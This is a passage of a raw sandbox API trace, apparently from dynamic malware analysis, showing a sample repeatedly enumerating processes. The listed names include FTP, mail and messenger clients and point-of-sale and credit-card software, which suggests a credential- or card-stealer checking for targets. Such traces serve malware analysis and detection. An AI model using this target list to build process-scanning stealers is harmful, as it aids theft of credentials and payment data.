th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0106.659] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0106.660] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0106.662] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0106.663] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0106.665] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0106.666] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0106.668] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0106.669] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0106.671] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0106.673] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0106.677] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0106.679] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0106.681] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0106.684] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0106.686] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0106.688] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0106.689] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0106.703] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0106.705] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0106.707] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0106.709] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0106.711] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0106.712] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0106.714] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0106.716] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0106.718] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0106.719] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0106.722] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0106.724] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0106.726] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0106.728] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0106.730] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0106.732] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0106.735] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0106.736] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0106.745] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0106.747] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0106.749] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0106.751] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0106.753] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0106.755] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0106.756] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0106.758] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0106.760] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0106.762] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0106.764] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0106.767] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0106.770] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0106.773] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0106.775] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0106.776] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0106.778] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0106.780] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0106.782] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0106.784] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0106.790] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0106.792] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0106.794] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0106.795] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0106.797] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0106.799] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0106.801] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0106.803] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0106.805] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0106.806] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0106.808] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0106.810] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0106.812] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.813] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0106.815] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0106.817] CloseHandle (hObject=0x16e4) returned 1 [0106.818] Sleep (dwMilliseconds=0x64) [0107.028] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd60 [0107.061] Process32First (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.063] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0107.066] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0107.068] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.070] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0107.072] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.074] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0107.076] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0107.077] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0107.079] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.081] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.087] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0107.089] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, 